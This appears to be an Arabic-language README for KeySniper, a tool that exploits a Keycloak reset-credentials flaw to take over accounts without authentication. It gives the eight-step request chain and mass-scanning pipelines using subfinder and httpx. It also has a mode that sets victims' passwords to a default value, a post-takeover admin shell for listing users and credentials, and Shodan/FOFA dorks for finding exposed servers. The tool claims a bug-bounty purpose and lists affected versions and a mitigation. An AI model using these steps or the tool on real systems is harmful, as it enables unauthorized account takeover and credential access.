KeySniper

المؤلف: Mitsec — x.com/ynsmroztas

CVE-2026-18963 — استيلاء غير مصادق عليه على حساب Keycloak عبر تدفق إعادة تعيين بيانات الاعتماد.

KeySniper هو ماسح ضوئي موجّه للإنتاج لبرامج مكافآت الثغرات ضمن النطاق والاختبارات المصرح بها: إخراج رادار مباشر، اكتشاف النطاقات (realms)، تمييز الاكتشاف عن الاستيلاء، قشرة تفاعلية بعد الاستيلاء، وخط أنابيب الإدخال القياسي (subfinder → httpx → KeySniper).

الوضع الافتراضي هو الاكتشاف (--takeover 0). --takeover 1 يغيّر كلمة مرور الحساب على الهدف.

الثغرة

يتم ربط خطأين معًا:

1. tryAnotherWay يخزّن ملاحظة محدّد عامة "true" غير مرتبطة بمعرّف التنفيذ.
2. ResetCredentialEmail.action() يستدعي context.success() دون التحقق من ACTION_TOKEN_USER_ID.

النتيجة: يمكن لمتصل غير مصادق عليه فرض تدفق إعادة تعيين كلمة المرور لاسم مستخدم معروف والوصول إلى UPDATE_PASSWORD دون النقر على رابط البريد الإلكتروني.

إشارة التأكيد

الفحص ليس "هل توجد نسيت كلمة المرور". التأكيد هو:

• نموذج المحدّد يُعاد عرضه على رابط إعادة التعيين الأصلي
• execution= UUID يتغيّر (تسريب تنفيذ البريد الإلكتروني)
• الاستجابة تحتوي على kc-passwd-update-form

exec3 = 28e2cd30-…   (المحدّد الأول)
exec6 = 8fd21174-…   (GET المحوري)
         UPDATE_PASSWORD

الميزات

• سجل [radar] مباشر (الموقع، JavaScript، الترويسات، فحص النطاق)
• اكتشاف النطاقات: 302 Location + HTML/JS + well-known + قائمة كلمات
• اكتشاف تلقائي لبادئة /auth
• خط الأنابيب: عناوين URL من الإدخال القياسي من httpx / subfinder
• مرشح النتائج الإيجابية الكاذبة: مطلوب جسم Keycloak قبل تخمين النطاق
• --takeover 0 اكتشاف فقط
• --takeover 1 تعيين كلمة مرور (الافتراضي SelaM1337@@)
• --shell قشرة تفاعلية للرمز / مساعد واجهة برمجة التطبيقات الإدارية بعد الاستيلاء
• شارات ملونة: VULN / ATO أحمر، SAFE أخضر، SKIP أصفر

التثبيت

python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py

يتطلب Python 3.9+.

الاستخدام

# اكتشاف (بدون تغيير كلمة المرور)
python3 KeySniper.py -u https://sso.example.com --takeover 0

# استيلاء + قشرة تفاعلية
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell

# نطاق / مستخدم
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0

# خط الأنابيب
subfinder -d example.com -silent \
  | httpx -silent -mc 200,302,401 \
  | python3 KeySniper.py --takeover 0 -t 4

# ملف قائمة
python3 KeySniper.py -l urls.txt --takeover 0 -q

الخيارات

لا تمرّر --takeover 1 أو --shell على تفريغ خط الأنابيب.

التدفق (8 خطوات)

[1] GET  /realms/{realm}/protocol/openid-connect/auth?client_id=account
         → رابط نسيت كلمة المرور (reset-credentials)
[2] GET  reset-credentials
         → kc-reset-password-form
[3] POST tryAnotherWay=on
         → kc-select-credential-form
[4] POST username=<user>
[5] GET  startSessionPolling / restart (إن وُجد)
[6] GET  رابط reset-credentials الأصلي  (محوري)
         → إعادة عرض المحدّد + execution= جديد
[7] POST محدّد قديم (بدون رمز إجراء)
         → kc-passwd-update-form
[8] POST password-new / password-confirm     (فقط إذا كان --takeover 1)
         → HTTP 302 + code=  ⇒ استيلاء

الإخراج

[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
    confirm exec3=...
    confirm exec6=...
    confirm kc-passwd-update-form

[ATO]  https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak

leak-no-update لا يُحتسب كـ VULN.

القشرة التفاعلية

تُفتح فقط بعد [ATO] على هدف واحد:

[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit

تستخدم منح كلمة مرور مالك المورد (admin-cli، ثم account).
HTTP 403 على /admin/realms يعني أن منح الوصول المباشر / الدور الإداري محدود — يمكن أن يظل الاستيلاء صالحًا.

الاكتشاف

1. فحص /realms/master ثم /auth/realms/master
2. جمع النطاقات من Location، HTML، JS، "realm":، المُصدر
3. قائمة الكلمات (~70 اسمًا) فقط بعد بصمة Keycloak
4. الاحتفاظ بالنطاقات حيث يُرجع /realms/{name} 200 + جسم Keycloak

البصمات / الاستطلاع

/realms/master
/realms/master/.well-known/openid-configuration
/admin/

Shodan / FOFA (نطاق البرنامج):

http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"

title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"

النتائج الإيجابية الكاذبة

• أي 200 على / يُتجاهل ما لم يحتوي الجسم على issuer / public_key / login-actions
• غياب نسيت كلمة المرور → SKIP (إعادة التعيين معطّلة في النطاق)
• تسريب المحدّد بدون kc-passwd-update-form → SKIP
• مسارات httpx تُقتطع إلى الأصل (/auth محفوظ)

الإصدارات المتأثرة

Keycloak < 26.7.2 (أيضًا 26.6.x < 26.6.6، 26.4.x < 26.4.15).
التخفيف: تعطيل نسيت كلمة المرور على كل نطاق، ثم الترقية.

لقطة الشاشة في هذا المستودع منقّحة (عنصر نائب sso.lab.local). لا تُنشر الرموز أو كلمات المرور أو رسائل البريد الإلكتروني أو المضيفات الحقيقية.

المؤلف

Mitsec
X: x.com/ynsmroztas

الترخيص

استخدام بحثي على أهداف مصرح بها ضمن النطاق. أبقِ --takeover 1 بعيدًا عن المضيفات خارج النطاق.